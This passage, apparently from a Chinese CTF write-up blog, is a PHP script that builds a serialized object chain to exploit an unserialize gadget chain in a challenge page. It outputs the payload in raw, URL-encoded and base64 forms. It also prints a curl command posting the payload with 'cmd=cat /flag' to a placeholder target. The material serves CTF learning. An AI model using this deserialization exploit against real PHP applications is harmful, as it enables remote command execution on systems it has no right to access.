 *  - 这个脚本只是本地生成序列化字符串;不要把它直接发到未经授权的服务器上测试。
 */

// 为了方便生成序列化数据,我们在本地定义与目标相同的类名(仅声明公有属性,避免调用任何构造函数/方法)
// 这些类仅用于本地序列化,不会在目标服务器上运行本地的构造器逻辑。
class H { public $who; }
class A { public $first; public $step; public $next; }
class V { public $good; public $keep; public $dowhat; public $go; }
class E { public $you; public $found; }
class F { public $fifth; public $step; public $finalstep; }

// 构造对象图: H -> A -> V -> E -> F
$h = new H();
$a = new A();
$v = new V();
$e = new E();
$f = new F();

// 设置关键字段,与你在目标脚本中要触发的方法对应
$f->finalstep = 'u';          // 小写 'u',避开 preg_match("/U/"),实际会实例化类 U
$e->found     = $f;           // E->__get() 中会调用 $this->found->check()
$v->dowhat    = 'secret';     // V::__toString() 会访问 $this->go->secret,触发 E::__get
$v->go        = $e;           // go 指向 E 的实例
$a->next      = $v;           // A::start() echo $this->next -> 调用 V::__toString()
$h->who       = $a;           // H->__destruct() 调用 $this->who->start()

// 序列化并输出
$payload = serialize($h);
$urlencoded = rawurlencode($payload);
$base64 = base64_encode($payload);

echo "=== 原始序列化 payload ===\n";
echo $payload . "\n\n";

echo "=== URL encoded(适用于 curl --data-urlencode) ===\n";
echo $urlencoded . "\n\n";

echo "=== Base64 encoded(可放 cookie/header) ===\n";
echo $base64 . "\n\n";

// 也打印示例 curl 命令(请替换目标 URL)
$example_url = 'http://target/path/to/challenge.php';
$curl = sprintf("curl -s -X POST --data-urlencode \"payload=%s\" --data-urlencode \"cmd=cat /flag\" \"%s\"", $payload, $example_url);

echo "=== 示例 curl 命令(请替换 URL) ===\n";
echo $curl . "\n";

?>
Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计